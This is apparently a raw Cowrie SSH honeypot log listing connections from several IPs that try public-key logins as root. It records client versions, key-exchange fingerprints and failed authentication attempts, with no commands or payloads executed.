{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:12.827834Z","src_ip":"165.154.205.91","session":"4842188059fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.249.83","src_port":41672,"dst_ip":"10.17.0.5","dst_port":22,"session":"c93e8596a6d0","protocol":"ssh","message":"New connection: 199.195.249.83:41672 (10.17.0.5:22) [session: c93e8596a6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.079760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.084927Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.091824Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:4c:ea:d6:5e:99:a0:84:28:c4:94:65:06:77:71:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyHT545tP6An9Els0wMLzxzSNEFPq9GDgccxK0FDcSMQ1nIoEMIWg01PBuJBCCZpYjFSc7Jg6PRUDlXqR5tvVM1MbWh8LIEvuPSmWBm2XcA99Ul1Z/XSIJfjM7WAGYpGMEc6FVKU7gDt5QalqtYdtWaAOHwgrnU7sPdyVNuUOMyE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:4c:ea:d6:5e:99:a0:84:28:c4:94:65:06:77:71:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.110400Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:4c:ea:d6:5e:99:a0:84:28:c4:94:65:06:77:71:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyHT545tP6An9Els0wMLzxzSNEFPq9GDgccxK0FDcSMQ1nIoEMIWg01PBuJBCCZpYjFSc7Jg6PRUDlXqR5tvVM1MbWh8LIEvuPSmWBm2XcA99Ul1Z/XSIJfjM7WAGYpGMEc6FVKU7gDt5QalqtYdtWaAOHwgrnU7sPdyVNuUOMyE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.113968Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:87:36:da:8e:e0:17:c1:c6:13:7c:21:df:51:e2:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Xfl260QZJT7WFpqXc2V11jPVSbYbs86fduX4r6Q6cqkKxDNQENxcpqGvas4LrDeOSloG+tmMeKw+dVD/YwOruOMYxyUogedXpEXvqzitlVPxXoMquWF0f4cDq3K7ic11IqZxsObggNCW5mY1HehKgsAq4Ka/XrV0pXcTpNmlMVWl8Q5ufJhM1NulSHzQHCJliQR4k1eNTWmpy78KzA9kjlbfyz1VlC1Q7GXGiRAhigrzehCwBaJc+eA3Xj4sRR7AyniMzE0OaJIE72zhbDHxLB9pWnC/OM/kuvWE+pI8mK1Z5yvPb8/ApqLeBJfZP7dRmbZFgwzPomrjkYU2GXCt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:87:36:da:8e:e0:17:c1:c6:13:7c:21:df:51:e2:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.121901Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:87:36:da:8e:e0:17:c1:c6:13:7c:21:df:51:e2:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Xfl260QZJT7WFpqXc2V11jPVSbYbs86fduX4r6Q6cqkKxDNQENxcpqGvas4LrDeOSloG+tmMeKw+dVD/YwOruOMYxyUogedXpEXvqzitlVPxXoMquWF0f4cDq3K7ic11IqZxsObggNCW5mY1HehKgsAq4Ka/XrV0pXcTpNmlMVWl8Q5ufJhM1NulSHzQHCJliQR4k1eNTWmpy78KzA9kjlbfyz1VlC1Q7GXGiRAhigrzehCwBaJc+eA3Xj4sRR7AyniMzE0OaJIE72zhbDHxLB9pWnC/OM/kuvWE+pI8mK1Z5yvPb8/ApqLeBJfZP7dRmbZFgwzPomrjkYU2GXCt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.128004Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:43:d2:93:53:86:f5:d4:ad:f8:cf:04:2d:72:22:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFSz2qc14WlfA9NbrB2hUlMNluNXwMG4bA87Ss+Q5QKNEvGtU79YHR/RjS240tv3eWcltwCgbB4DvBPICI4UWI/Kl9jjUgoHkqREIb8m/yvRdgmGCYUe79PgIqvUvGShWsVvz32/Mopn/VqzXWu+p5SHaJYpBQvpVgNCT7jv28qzrFVcLXVb7khDmbWxF5B80bgj1L6KbLOrDkTkA1xM01yHOxu5FuIBDHfBlsaA/v4tQTFBm2KdbszDByfGKcJDPmW3fFIyYC+5D0htaNBYQHiMT16FTem25BI7gLCqGp+N3606qBqXiJy4wGhmfc0uSy5JbwreSNxEXudZG8pMQd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:43:d2:93:53:86:f5:d4:ad:f8:cf:04:2d:72:22:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.136245Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:43:d2:93:53:86:f5:d4:ad:f8:cf:04:2d:72:22:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFSz2qc14WlfA9NbrB2hUlMNluNXwMG4bA87Ss+Q5QKNEvGtU79YHR/RjS240tv3eWcltwCgbB4DvBPICI4UWI/Kl9jjUgoHkqREIb8m/yvRdgmGCYUe79PgIqvUvGShWsVvz32/Mopn/VqzXWu+p5SHaJYpBQvpVgNCT7jv28qzrFVcLXVb7khDmbWxF5B80bgj1L6KbLOrDkTkA1xM01yHOxu5FuIBDHfBlsaA/v4tQTFBm2KdbszDByfGKcJDPmW3fFIyYC+5D0htaNBYQHiMT16FTem25BI7gLCqGp+N3606qBqXiJy4wGhmfc0uSy5JbwreSNxEXudZG8pMQd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.139991Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:73:9e:c9:6d:6e:4b:bd:c1:fb:a3:e8:88:20:2c:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwWm99vY1+rUjXpC8SDc0AZzMXlwJfIw4etv0ZinO2ijMDLQsigpXFo+N0v8U3GjhYn418DwbUsrEYPEJ7AQFLDwWCwuQaPHf0PrSmluXLlt9jgWFrY8vcxIWieeduGg2Sd5VPnzsRihP2G3lOCPwM9BiOJxBJ2c+dUJa2Y5JaLzvcIqTdatWuusDLJk7u+WcwywL0S95cZ+DBx7Q7C3okF08QpgLtrkgWZ3PAAO4J87wlSxA6ezZJSrueWpIj1wR+cUY55Mgg59lCzJl3KnvI/CZOdA5s/AA5To9gwmyJjgkVWg5xUm6CdIG7UpRtlUWYZy468cpJMCPtaYePRLA1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:73:9e:c9:6d:6e:4b:bd:c1:fb:a3:e8:88:20:2c:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.147609Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:73:9e:c9:6d:6e:4b:bd:c1:fb:a3:e8:88:20:2c:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwWm99vY1+rUjXpC8SDc0AZzMXlwJfIw4etv0ZinO2ijMDLQsigpXFo+N0v8U3GjhYn418DwbUsrEYPEJ7AQFLDwWCwuQaPHf0PrSmluXLlt9jgWFrY8vcxIWieeduGg2Sd5VPnzsRihP2G3lOCPwM9BiOJxBJ2c+dUJa2Y5JaLzvcIqTdatWuusDLJk7u+WcwywL0S95cZ+DBx7Q7C3okF08QpgLtrkgWZ3PAAO4J87wlSxA6ezZJSrueWpIj1wR+cUY55Mgg59lCzJl3KnvI/CZOdA5s/AA5To9gwmyJjgkVWg5xUm6CdIG7UpRtlUWYZy468cpJMCPtaYePRLA1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.151874Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:3a:0a:a4:eb:e3:d5:73:41:66:55:4b:9a:f2:c6:60","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKG2EhJIB06T/HKNaVkb5pRksvR8DvpwHH1VI0s1ixl4cXYRKLmPYiunm5gDMoOPwzcZG42M4eDjZsSv3vfT9+GaI1LBQM+dz+HCf4ysctOlL8ttrtdSKapY19935LXSrkkbxXPUbUrdzhTjYU0O3g3AJ1lEEU3QmeYi8/psiPcdAAAAFQDU474HpVjm8E6XV6z1sl08sno8vwAAAIAju4d2Kw0VrKw7PhP/PnpCJfpvT3dOvxwxrX6a8otLFdl1Bd3T2AImQcJTIwC99G46B8vOxNykjgDznLuHwR9WEFiOnOVwX6yDGx8XgEXj1Wp53qTywkryW1GuYOUgB+aVR272Lp90GXE/Ynv9umFXcz1842PsLf7WHtiOFo0tTwAAAIAQ2csol90j68FYtCRLyVGUasLNFeh5WaWRsWAVg3vVz9jnCZ6vKcVOnTOzRFlkgDYPvcVoIpqiPQ4b6nv1wU/PldRMg4GEpZqUgP0GjccXv9ocozMMko2cvo6xyfsmzet3D2lVimEXoqgAFGPD1uS+ValLp326OMNz3XQZuyHSSg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint bd:3a:0a:a4:eb:e3:d5:73:41:66:55:4b:9a:f2:c6:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.163217Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:3a:0a:a4:eb:e3:d5:73:41:66:55:4b:9a:f2:c6:60","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKG2EhJIB06T/HKNaVkb5pRksvR8DvpwHH1VI0s1ixl4cXYRKLmPYiunm5gDMoOPwzcZG42M4eDjZsSv3vfT9+GaI1LBQM+dz+HCf4ysctOlL8ttrtdSKapY19935LXSrkkbxXPUbUrdzhTjYU0O3g3AJ1lEEU3QmeYi8/psiPcdAAAAFQDU474HpVjm8E6XV6z1sl08sno8vwAAAIAju4d2Kw0VrKw7PhP/PnpCJfpvT3dOvxwxrX6a8otLFdl1Bd3T2AImQcJTIwC99G46B8vOxNykjgDznLuHwR9WEFiOnOVwX6yDGx8XgEXj1Wp53qTywkryW1GuYOUgB+aVR272Lp90GXE/Ynv9umFXcz1842PsLf7WHtiOFo0tTwAAAIAQ2csol90j68FYtCRLyVGUasLNFeh5WaWRsWAVg3vVz9jnCZ6vKcVOnTOzRFlkgDYPvcVoIpqiPQ4b6nv1wU/PldRMg4GEpZqUgP0GjccXv9ocozMMko2cvo6xyfsmzet3D2lVimEXoqgAFGPD1uS+ValLp326OMNz3XQZuyHSSg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.167096Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:27.180474Z","src_ip":"199.195.249.83","session":"c93e8596a6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.244.18","src_port":60348,"dst_ip":"10.17.0.5","dst_port":22,"session":"a54ffe4eb422","protocol":"ssh","message":"New connection: 206.212.244.18:60348 (10.17.0.5:22) [session: a54ffe4eb422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.198133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.203581Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.217316Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:8f:23:52:1f:62:57:1e:78:4a:27:62:8d:9f:0a:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHWHXIjhIlbxidpE2gBzC/QqtnAz1wi+TSbgum7dE1KQwuDYWmk83gcyxJgu95kQ6QxczBQsDRho4JyV6kknxZd8WAfpQmFInJ77MmibwNtq8XZi+B9I//xVEBoB1aFTrkxJnsxDvipb7dIt0Y3OepjJofZPkRF3ti7R6Ex7XZc77dlsES8WLPtQOxg+ggaNR0rbyODpcpiEKM857Ml/Hl0THi4q1IkvQl28/5N+nkkGSduWvbAJLXDvZcMXKgd8ERhkBq0719N9/1QIEb9gWf0a9H0sQI57SIe9DkSLuQA1N2wqgkXWnH/taR7Y9+rN21vH8GxO16rBsrurvXhhW1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:8f:23:52:1f:62:57:1e:78:4a:27:62:8d:9f:0a:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.256570Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:8f:23:52:1f:62:57:1e:78:4a:27:62:8d:9f:0a:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHWHXIjhIlbxidpE2gBzC/QqtnAz1wi+TSbgum7dE1KQwuDYWmk83gcyxJgu95kQ6QxczBQsDRho4JyV6kknxZd8WAfpQmFInJ77MmibwNtq8XZi+B9I//xVEBoB1aFTrkxJnsxDvipb7dIt0Y3OepjJofZPkRF3ti7R6Ex7XZc77dlsES8WLPtQOxg+ggaNR0rbyODpcpiEKM857Ml/Hl0THi4q1IkvQl28/5N+nkkGSduWvbAJLXDvZcMXKgd8ERhkBq0719N9/1QIEb9gWf0a9H0sQI57SIe9DkSLuQA1N2wqgkXWnH/taR7Y9+rN21vH8GxO16rBsrurvXhhW1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.260948Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:7d:05:01:98:cf:82:94:06:ce:2d:84:51:e2:b7:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6H4FOTidkoqyuMgHpeEE7vKPIomeEiowe0y7Nm1ivVKHvBhgRtENkFPm2VkVoDlh20jmaMKtuEURyfeztmjp1Wjngn78RDGFqBKqlnGiGSvcB4wionvMFaZLdCsh48hBjR8+sjUbrG8valDphQgRWxZjIJ6wAWf2Km/pwAqQoOJWYMnTHjL3Uy2UX/TX0XOHyqVaTR07oZEO4VgUY53SbhzJzTkBqZHEXkl44qQrcUnTX8lVagJAp9wWfLapUqgLyxa3FuqC4csFJeRFEU8aDDP21zdAmd0Fvo+yIDkSvBGFN35uFEbd4FL/cxmhSYnb5zDnYK7AhHONyWaHPDv1SlrQ3MeUXAoeHjH6FjFMUMHFFQtI409VJieZZ4+PRbOy5mVG8l42F8QQyNJQ99Le1Gs2K+0CffVhoKhvZeFQXumvfVwh8TucWlE6Hlmag9eSvRpeoDvAvTRKzOKxFlHRvNPDwas/lgItCppmpTXyGnUF8BgtGHiIMtBlYc6n0WoAlIAZUu/MfCjRTh9sX2wIv7ichuIqhYwClbD0bh1cWngx9tXffzQ6m3gt4oGAtpbbR9ocPMPk5VvHbp6AmtwRyml3rsOZAWB+PssQr/YtXaFw+QknAx8v6oJCgDT6xRSOg+FJIbBIeM4rIs58s30b++B5z3+m3IiFZ571CRKtWIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:7d:05:01:98:cf:82:94:06:ce:2d:84:51:e2:b7:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.275300Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:7d:05:01:98:cf:82:94:06:ce:2d:84:51:e2:b7:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6H4FOTidkoqyuMgHpeEE7vKPIomeEiowe0y7Nm1ivVKHvBhgRtENkFPm2VkVoDlh20jmaMKtuEURyfeztmjp1Wjngn78RDGFqBKqlnGiGSvcB4wionvMFaZLdCsh48hBjR8+sjUbrG8valDphQgRWxZjIJ6wAWf2Km/pwAqQoOJWYMnTHjL3Uy2UX/TX0XOHyqVaTR07oZEO4VgUY53SbhzJzTkBqZHEXkl44qQrcUnTX8lVagJAp9wWfLapUqgLyxa3FuqC4csFJeRFEU8aDDP21zdAmd0Fvo+yIDkSvBGFN35uFEbd4FL/cxmhSYnb5zDnYK7AhHONyWaHPDv1SlrQ3MeUXAoeHjH6FjFMUMHFFQtI409VJieZZ4+PRbOy5mVG8l42F8QQyNJQ99Le1Gs2K+0CffVhoKhvZeFQXumvfVwh8TucWlE6Hlmag9eSvRpeoDvAvTRKzOKxFlHRvNPDwas/lgItCppmpTXyGnUF8BgtGHiIMtBlYc6n0WoAlIAZUu/MfCjRTh9sX2wIv7ichuIqhYwClbD0bh1cWngx9tXffzQ6m3gt4oGAtpbbR9ocPMPk5VvHbp6AmtwRyml3rsOZAWB+PssQr/YtXaFw+QknAx8v6oJCgDT6xRSOg+FJIbBIeM4rIs58s30b++B5z3+m3IiFZ571CRKtWIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.279679Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:84:5a:7f:79:4b:86:ba:d3:62:93:f1:91:9f:95:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV7vnSWxmLZ9D5CFS6eBN20wNPA/hHFfdMbZ7LsaefgLE5FWDXNDV00p3jn1kfC+Ky6OblDkTdktBFnbwA0Lh5sga5GVdM99N3avQK0cQ0amih5Tuvh9y7nVl194HhmETBQ9fnLQnvsBK9BCekmHAPxnk0KxzQ7L+noTcfoTD2YCRJRNL2f+xtOL6OgSbZYIwAKRLqBN6Qz7fMO7ZTWk7Z9cjtJRzPqvASRvjOmdIO4ByJzbrhlFCfihoHLc6y0SBT7G9oAtk6NgJJShejdBJBEVCKNSI5sbpL3jJ4vQaJDSrBkoLm5MmmjpPHRytFdKdP91bcdwfZKXlLr91Ja2PYmHP3zEltF8gCew1y+qGi+1LyR+Iu3K2CMrlTETJow6I7zVxDM+NyOACsU1scU9J5LMYb6NtXVzaS/8HcYCCIginxba7pGv3pj6gwTlVvWMPYK8K5gyOB0+QLtOsmGRZ8jaLDdH/SynhWnsDhYTRP10KE01qkz08eke+2XpgA7FnF1HCDEu7GDcOkSt0wbGPBRILoTGKnJfTwdJpku4B6aCV7PDwL6gwKBE10KAGF4rsZkPQr9/FkuJ1ppRHEVpo9Ou2Y8Zkv7sOp+HiDQ+iL/jGfV96/tBs3wg4a0qLnFUU7HFWlmU/1qMuD4rTXcLdNFPJoFEWN9vUfEAH5PkhFww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:84:5a:7f:79:4b:86:ba:d3:62:93:f1:91:9f:95:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.296559Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:84:5a:7f:79:4b:86:ba:d3:62:93:f1:91:9f:95:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV7vnSWxmLZ9D5CFS6eBN20wNPA/hHFfdMbZ7LsaefgLE5FWDXNDV00p3jn1kfC+Ky6OblDkTdktBFnbwA0Lh5sga5GVdM99N3avQK0cQ0amih5Tuvh9y7nVl194HhmETBQ9fnLQnvsBK9BCekmHAPxnk0KxzQ7L+noTcfoTD2YCRJRNL2f+xtOL6OgSbZYIwAKRLqBN6Qz7fMO7ZTWk7Z9cjtJRzPqvASRvjOmdIO4ByJzbrhlFCfihoHLc6y0SBT7G9oAtk6NgJJShejdBJBEVCKNSI5sbpL3jJ4vQaJDSrBkoLm5MmmjpPHRytFdKdP91bcdwfZKXlLr91Ja2PYmHP3zEltF8gCew1y+qGi+1LyR+Iu3K2CMrlTETJow6I7zVxDM+NyOACsU1scU9J5LMYb6NtXVzaS/8HcYCCIginxba7pGv3pj6gwTlVvWMPYK8K5gyOB0+QLtOsmGRZ8jaLDdH/SynhWnsDhYTRP10KE01qkz08eke+2XpgA7FnF1HCDEu7GDcOkSt0wbGPBRILoTGKnJfTwdJpku4B6aCV7PDwL6gwKBE10KAGF4rsZkPQr9/FkuJ1ppRHEVpo9Ou2Y8Zkv7sOp+HiDQ+iL/jGfV96/tBs3wg4a0qLnFUU7HFWlmU/1qMuD4rTXcLdNFPJoFEWN9vUfEAH5PkhFww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.300860Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
